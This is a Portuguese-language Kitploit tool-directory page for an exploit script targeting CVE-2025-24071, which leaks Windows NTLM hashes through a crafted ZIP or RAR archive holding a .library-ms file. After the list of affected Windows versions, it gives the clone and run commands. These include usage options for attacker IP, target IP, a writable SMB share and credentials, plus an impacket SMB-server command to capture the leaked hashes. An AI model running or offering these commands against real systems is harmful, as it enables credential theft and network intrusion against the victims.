Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-24071 — Script de exploração para CVE-2025-24071 que vaza hashes NTLM do Windows ao extrair um arquivo ZIP/RAR criado especificamente, explorando o tratamento de arquivos .library-ms. Requer compartilhamento SMB com permissões de escrita. | Kitploit
Ferramentas/GitHubGitHub/f4dee-backup/cve-2025-24071
Quebra de SenhasAnálise de VulnerabilidadesExploraçãoExfiltração de DadosSegurança de Rede
GitHubf4dee-backup/cve-2025-24071

CVE-2025-24071

Script de exploração para CVE-2025-24071 que vaza hashes NTLM do Windows ao extrair um arquivo ZIP/RAR criado especificamente, explorando o tratamento de arquivos .library-ms. Requer compartilhamento SMB com permissões de escrita.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
5há 1 anoAinda não revisado

CVE-2025-24071

Vulnerabilidade de Spoofing do Explorador de Arquivos do Windows - CVE-2025-24071

Vaze o hash NTLM do Windows por meio da extração de um arquivo ZIP ou RAR manipulado, explorando uma vulnerabilidade no tratamento de arquivos .library-ms (um tipo de arquivo usado pelo Windows para especificar bibliotecas e conexões de rede).

Versões afetadas

Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems Windows Server 2025 (Server Core installation) Windows Server 2025 Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows 10 Version 1607 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems Windows 10 for x64-based Systems Windows 10 for 32-bit Systems Windows 11 Version 24H2 for x64-based Systems Windows 11 Version 24H2 for ARM64-based Systems Windows Server 2022, 23H2 Edition (Server Core installation) Windows 11 Version 23H2 for x64-based Systems Windows 11 Version 23H2 for ARM64-based Systems Windows 10 Version 22H2 for 32-bit Systems Windows 10 Version 22H2 for ARM64-based Systems Windows 10 Version 22H2 for x64-based Systems Windows 11 Version 22H2 for x64-based Systems Windows 11 Version 22H2 for ARM64-based Systems Windows 10 Version 21H2 for x64-based Systems Windows 10 Version 21H2 for ARM64-based Systems Windows 10 Version 21H2 for 32-bit Systems Windows Server 2022 (Server Core installation) Windows Server 2022 Windows Server 2019 (Server Core installation) Windows Server 2019

Instalação:

root@kitploit:~
git clone https://github.com/f4dee-backup/CVE-2025-24071
root@kitploit:~
cd CVE-2025-24071
root@kitploit:~
chmod +x CVE-2025-24071.sh

Painel de Ajuda:

root@kitploit:~
./CVE-2025-24071.sh -h
	-i) Your IP address
	-t) Target IP
	-d) A remote SMB share with write permissions (e.g.) C, ADMIN, IPC, SYSVOL, etc) 
	-u) Username
	-p) Password
	-h) Display this help panel

Uso:

root@kitploit:~
./CVE-2025-24071.sh -i "YOUR_IP" -t "TARGET_IP" -d "DIRECTORY_WRITE_REMOTE" -u "USER" -p "PASSWORD"

Inicie o servidor SMB:

root@kitploit:~
impacket-smbserver smbFolder $(pwd) -smb2support
Baixar ferramenta